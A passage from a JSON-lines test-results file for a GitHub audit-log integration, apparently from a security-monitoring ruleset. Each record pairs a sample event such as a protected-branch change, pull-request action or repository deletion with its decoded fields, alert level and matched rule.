"91277", "level": "7", "expected_decoder": "json", "expected_rule": "91277", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch destroy."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.update_admin_enforced\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.update_admin_enforced", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91278", "level": "5", "expected_decoder": "json", "expected_rule": "91278", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch update admin enforced."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.update_require_code_owner_review\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.update_require_code_owner_review", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91279", "level": "5", "expected_decoder": "json", "expected_rule": "91279", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch update require code owner review."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.dismissal_restricted_users_teams\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.dismissal_restricted_users_teams", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91280", "level": "5", "expected_decoder": "json", "expected_rule": "91280", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch dismissal restricted users teams."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.dismiss_stale_reviews\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.dismiss_stale_reviews", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91281", "level": "5", "expected_decoder": "json", "expected_rule": "91281", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch dismiss stale reviews."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.update_signature_requirement_enforcement_level\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.update_signature_requirement_enforcement_level", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91282", "level": "5", "expected_decoder": "json", "expected_rule": "91282", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch update signature requirement enforcement level."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.update_pull_request_reviews_enforcement_level\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.update_pull_request_reviews_enforcement_level", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91283", "level": "5", "expected_decoder": "json", "expected_rule": "91283", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch update pull request reviews enforcement level."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.update_required_status_checks_enforcement_level\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.update_required_status_checks_enforcement_level", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91284", "level": "5", "expected_decoder": "json", "expected_rule": "91284", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch update required status checks enforcement level."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.update_strict_required_status_checks_policy\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.update_strict_required_status_checks_policy", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91285", "level": "5", "expected_decoder": "json", "expected_rule": "91285", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch update strict required status checks policy."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.rejected_ref_update\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.rejected_ref_update", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91286", "level": "5", "expected_decoder": "json", "expected_rule": "91286", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch rejected ref update."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.policy_override\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.policy_override", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91287", "level": "5", "expected_decoder": "json", "expected_rule": "91287", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch policy override."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.update_allow_force_pushes_enforcement_level\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.update_allow_force_pushes_enforcement_level", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91288", "level": "5", "expected_decoder": "json", "expected_rule": "91288", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch update allow force pushes enforcement level."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.update_allow_deletions_enforcement_level\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.update_allow_deletions_enforcement_level", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91289", "level": "5", "expected_decoder": "json", "expected_rule": "91289", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch update allow deletions enforcement level."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.update_linear_history_requirement_enforcement_level\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.update_linear_history_requirement_enforcement_level", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91290", "level": "5", "expected_decoder": "json", "expected_rule": "91290", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch update linear history requirement enforcement level."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91292", "level": "3", "expected_decoder": "json", "expected_rule": "91292", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91293", "level": "5", "expected_decoder": "json", "expected_rule": "91293", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request.close\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request.close", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91294", "level": "5", "expected_decoder": "json", "expected_rule": "91294", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request close."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request.reopen\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request.reopen", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91295", "level": "5", "expected_decoder": "json", "expected_rule": "91295", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request reopen."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request.merge\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request.merge", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91296", "level": "5", "expected_decoder": "json", "expected_rule": "91296", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request merge."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request.indirect_merge\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request.indirect_merge", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91297", "level": "5", "expected_decoder": "json", "expected_rule": "91297", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request indirect merge."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request.ready_for_review\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request.ready_for_review", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91298", "level": "5", "expected_decoder": "json", "expected_rule": "91298", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request ready for review."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request.converted_to_draft\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request.converted_to_draft", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91299", "level": "5", "expected_decoder": "json", "expected_rule": "91299", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request converted to draft."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request.create_review_request\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request.create_review_request", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91300", "level": "5", "expected_decoder": "json", "expected_rule": "91300", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request create review request."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request.remove_review_request\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request.remove_review_request", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91301", "level": "5", "expected_decoder": "json", "expected_rule": "91301", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request remove review request."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request_review.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request_review.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91302", "level": "3", "expected_decoder": "json", "expected_rule": "91302", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request review."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request_review.submit\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request_review.submit", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91303", "level": "5", "expected_decoder": "json", "expected_rule": "91303", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request review submit."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request_review.dismiss\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request_review.dismiss", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91304", "level": "5", "expected_decoder": "json", "expected_rule": "91304", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request review dismiss."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request_review.delete\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request_review.delete", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91305", "level": "5", "expected_decoder": "json", "expected_rule": "91305", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request review delete."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request_review_comment.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request_review_comment.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91306", "level": "3", "expected_decoder": "json", "expected_rule": "91306", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request review comment."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request_review_comment.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request_review_comment.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91307", "level": "5", "expected_decoder": "json", "expected_rule": "91307", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request review comment create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request_review_comment.update\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request_review_comment.update", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91308", "level": "5", "expected_decoder": "json", "expected_rule": "91308", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request review comment update."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"pull_request_review_comment.delete\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "pull_request_review_comment.delete", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91309", "level": "5", "expected_decoder": "json", "expected_rule": "91309", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Pull request review comment delete."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91310", "level": "3", "expected_decoder": "json", "expected_rule": "91310", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.access\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.access", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91311", "level": "7", "expected_decoder": "json", "expected_rule": "91311", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo access."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.actions_enabled\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.actions_enabled", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91312", "level": "5", "expected_decoder": "json", "expected_rule": "91312", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo actions enabled."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.add_member\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.add_member", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91313", "level": "5", "expected_decoder": "json", "expected_rule": "91313", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo add member."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.add_topic\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.add_topic", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91314", "level": "5", "expected_decoder": "json", "expected_rule": "91314", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo add topic."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.advanced_security_disabled\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.advanced_security_disabled", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91315", "level": "12", "expected_decoder": "json", "expected_rule": "91315", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo advanced security disabled."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.advanced_security_enabled\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.advanced_security_enabled", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91316", "level": "7", "expected_decoder": "json", "expected_rule": "91316", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo advanced security enabled."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.archived\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.archived", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91317", "level": "9", "expected_decoder": "json", "expected_rule": "91317", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo archived."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91318", "level": "5", "expected_decoder": "json", "expected_rule": "91318", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.create_actions_secret\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.create_actions_secret", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91319", "level": "7", "expected_decoder": "json", "expected_rule": "91319", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo create actions secret."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.destroy\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.destroy", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91320", "level": "9", "expected_decoder": "json", "expected_rule": "91320", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo destroy."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91321", "level": "9", "expected_decoder": "json", "expected_rule": "91321", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91322", "level": "5", "expected_decoder": "json", "expected_rule": "91322", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.pages_create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.pages_create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91323", "level": "5", "expected_decoder": "json", "expected_rule": "91323", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo pages create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.pages_https_redirect_enabled\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.pages_https_redirect_enabled", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91324", "level": "5", "expected_decoder": "json", "expected_rule": "91324", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo pages https redirect enabled."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.pages_private\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.pages_private", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91325", "level": "5", "expected_decoder": "json", "expected_rule": "91325", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo pages private."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.pages_public\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.pages_public", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91326", "level": "5", "expected_decoder": "json", "expected_rule": "91326", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo pages public."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.pages_source\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.pages_source", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91327", "level": "5", "expected_decoder": "json", "expected_rule": "91327", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo pages source."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.remove_actions_secret\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.remove_actions_secret", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91328", "level": "9", "expected_decoder": "json", "expected_rule": "91328", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo remove actions secret."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.remove_member\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.remove_member", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91329", "level": "7", "expected_decoder": "json", "expected_rule": "91329", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo remove member."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.register_self_hosted_runner\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.register_self_hosted_runner", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91330", "level": "3", "expected_decoder": "json", "expected_rule": "91330", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo register self hosted runner."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.remove_self_hosted_runner\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.remove_self_hosted_runner", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91331", "level": "3", "expected_decoder": "json", "expected_rule": "91331", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo remove self hosted runner."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"repo.remove_topic\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "repo.remove_topic", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91332", "level": "5", "expected_decoder": "json", "expected_rule": "91332", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Repo remove topic."} +{"log": 